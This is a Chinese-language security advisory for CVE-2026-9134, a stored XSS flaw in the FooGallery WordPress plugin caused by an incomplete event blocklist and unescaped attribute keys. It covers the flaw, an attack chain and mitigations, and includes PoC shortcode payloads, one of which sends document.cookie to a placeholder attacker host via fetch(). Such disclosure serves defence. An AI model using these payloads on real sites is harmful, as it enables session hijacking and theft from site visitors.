IPBUF安全漏洞报告
English
CVE-2026-9134 CVSS 6.4 中危

CVE-2026-9134 FooGallery插件存储型XSS漏洞

披露日期: 2026-06-13

漏洞信息

漏洞编号
CVE-2026-9134
漏洞类型
存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
FooGallery plugin for WordPress

相关标签

CVE-2026-9134存储型XSSWordPress插件漏洞FooGallery跨站脚本短代码注入JavaScript事件处理器绕过WordPress安全CMS漏洞

漏洞概述

CVE-2026-9134是WordPress FooGallery插件中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于插件的短代码处理功能中,攻击者可以通过'custom_attribute_key'参数注入恶意JavaScript代码。由于插件的foogallery_sanitize_javascript()函数存在不完整的黑名单过滤机制,仅阻止了部分HTML事件属性(如onmouseover、onmouseout、onclick等),而遗漏了'onmouseenter'等事件,导致攻击者可以绕过安全检查。此外,foogallery_build_container_attributes_safe()函数在构建HTML时未正确转义属性键值,使得注入的恶意脚本能够被存储并在用户访问时被执行。成功利用此漏洞需要攻击者具有贡献者级别或更高的WordPress账户权限。

技术细节

该漏洞的技术根源在于两个安全缺陷的组合。首先,foogallery_sanitize_javascript()函数采用黑名单方式过滤JavaScript事件处理器,但黑名单不完整——仅包含onmouseover、onmouseout、onpointerenter、onclick、onload、onchange、onerror等事件,而遗漏了onmouseenter等事件。这使得攻击者可以使用被遗漏的事件属性来注入恶意代码。其次,在foogallery_build_container_attributes_safe()函数中构建画廊容器HTML属性时,未对属性键进行适当的HTML转义。当custom_attribute_key参数被设置为包含恶意事件处理器(如onmouseenter)的形式时,该属性会被直接添加到HTML中而不经过转义处理,从而形成存储型XSS。攻击者通过在页面或文章的短代码中注入恶意属性,当其他用户访问包含该短代码的页面时,恶意JavaScript代码会自动执行,可能导致会话劫持、敏感信息窃取等安全问题。

攻击链分析

STEP 1
步骤1
攻击者获得WordPress网站的贡献者级别或更高权限账户
STEP 2
步骤2
攻击者在页面或文章中插入包含恶意custom_attribute_key参数的FooGallery短代码
STEP 3
步骤3
短代码被处理时,foogallery_sanitize_javascript()函数的黑名单检查被绕过,因为'onmouseenter'等事件未被阻止
STEP 4
步骤4
foogallery_build_container_attributes_safe()函数将未转义的恶意属性直接添加到HTML输出中
STEP 5
步骤5
恶意代码被存储在数据库中,当普通用户访问包含该短代码的页面时触发执行
STEP 6
步骤6
攻击者通过注入的JavaScript代码实现会话劫持、窃取敏感信息或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2026-9134 PoC: Stored XSS via custom_attribute_key parameter --> <!-- Attack requires contributor-level or higher access --> <!-- Basic PoC using onmouseenter event --> [foogallery custom_attribute_key='x onmouseenter=alert(String.fromCharCode(88,83,83))'] <!-- Alternative PoC using other unblocked events --> [foogallery custom_attribute_key='x onfocus=alert(document.cookie) autofocus'] <!-- More sophisticated payload for cookie stealing --> [foogallery custom_attribute_key='x onmouseenter=fetch(`https://attacker.com/steal?c=`+document.cookie)'] <!-- Note: The 'x ' prefix is important as it creates a valid attribute format --> <!-- The 'x' becomes the attribute name and the event handler becomes its value -->

影响范围

FooGallery plugin < 3.1.32
FooGallery plugin <= 3.1.31

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 临时撤销所有贡献者和作者角色的内容发布权限,仅允许管理员发布内容;2) 使用Web应用防火墙(WAF)规则阻止包含可疑事件属性的请求;3) 禁用不受信任用户使用FooGallery短代码;4) 实施严格的输入验证和输出编码。但这些措施仅为临时解决方案,强烈建议尽快升级到插件的最新修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表